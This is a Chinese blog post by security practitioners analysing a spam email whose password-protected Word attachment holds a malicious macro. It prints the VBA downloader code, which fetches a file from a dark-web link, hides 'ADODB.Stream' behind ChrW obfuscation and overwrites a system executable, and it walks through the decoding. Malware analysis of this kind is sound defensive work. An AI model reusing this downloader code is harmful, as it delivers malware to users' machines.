一次垃圾郵件的分析

上週一(12月4號),朋友給我轉發了一封垃圾郵件,郵件裏面附帶一個word文檔,咱們倆都是搞信安,天然察覺一絲危險的氣味,以前也沒有分析過word附件,於是有了今天的分析。python

  • 環境:ubuntu 16.04
  • office軟件: LibreOffice writer

1. FBI Warning

分析有風險,請在虛擬機上運行;且在分析以前要禁止word的宏自動運行git

2. 郵件截圖

一次垃圾郵件的分析

3. 郵件分析

能夠看到郵件的正文內容,是由一張圖片和一個附件組成,其中咱們要重點關注的就是。github

  • doc附件有密碼,且密碼爲1115

4. 附件分析

通常分析方法

  • 4.1 通常來講,非打開方式去分析一個word附件,咱們通常會選擇oletools,可是這是在word文檔非加密的狀況下,加了密碼後沒法經過oletools來提取word文檔中的宏。
  • 4.2 olevba 提取宏展現ubuntu

    olevba -c xxx.doc
    • -c: 只顯示word中的宏代碼
    • -a: 自動分析word是否可疑
      一次垃圾郵件的分析

加了密碼後,就不能用通常的分析方法

  • 4.3 嘗試是用olevba來提取文檔的vba代碼
    一次垃圾郵件的分析
  • 4.4 關閉宏自動運行的前提下,打開word附件。
    • 4.4.1 能夠看到,word文檔須要密碼,當你輸入完密碼後,就會自動打開文檔,若是你以前啓用了宏,那麼當你輸入完密碼後就會中招。
      提示輸入文檔密碼
    • 4.4.2 打開後,提示word文檔包含宏
      一次垃圾郵件的分析
    • 4.4.3 誘惑用戶啓用宏
      一次垃圾郵件的分析
  • 4.5 查看宏代碼
    能夠看到這裏存在一段vb編寫的代碼,從調用WinHttpReq能夠猜出來,這一個word文檔的做用是一個下載器
    惡意宏代碼windows

  • 4.6 宏代碼分析
  • Step1. 訪問暗網的某個網站下載一個文件,如今已經沒法打開這個暗網的連接。
Sub Main
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")

WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password"
WinHttpReq.send

以下圖,使用tor瀏覽器訪問對應的暗網連接,返回一個網頁來講明該暗網地址已經失效。
一次垃圾郵件的分析瀏覽器

  • Step2. 一個簡單的混淆,拼湊出
    Dim first5 As String
    Dim second5 As String
    Dim last5 As String
    first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)
    second5 = ChrW(97) & ChrW(109)
    last5 = first5 + second5

    其中重要的部分就是first5和second5中的ChrW,ChrW是將十進制的ascii值轉換爲ascii字符,於是能夠用python來作一個轉換。安全

first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)"
second5 = "ChrW(97) & ChrW(109)"
def convert_vb2py(s):
    first_s = s.replace("ChrW","chr")
    second_s = first_s.replace("&","+")
    return second_s
print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))

最終咱們能夠獲得last5的值爲ADODB.Stream,它是vb中一個對象,用來與文件系統操做
last5的值bash

  • Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件ide

    xyuhjnx = WinHttpReq.responseBody
    If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject(last5)
    oStream.Open
    oStream.Type = Val("1FFF")
    oStream.Write WinHttpReq.responseBody
    Dim first6 As String
    Dim last6 As String
    first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
    last6 = first6
    oStream.SaveToFile Environ( "svchost.exe", Val("2FFF")
    oStream.Close
    End If
    End Sub

    代碼獲取icon.jpg的內容,並建立一個Stream對象寫入icon.jpg的內容,而後保存到svchost.exe所在的目錄,也就是c:\windows\system32\目錄下,Val("2FFF")的值爲2,在adobe.stream的SaveToFile方法中,第二個參數表明覆蓋原來的文件。網站

  • 4.7 到此,咱們分析完整個宏代碼
    總的來講,這是一個downloader,下載惡意代碼並替換系統的svchost.exe。國外的一些安全研究者也上傳了去掉密碼後的文檔到惡意軟件分析網站,下面是其中的一個連接。

參考連接

相關文章
相關標籤/搜索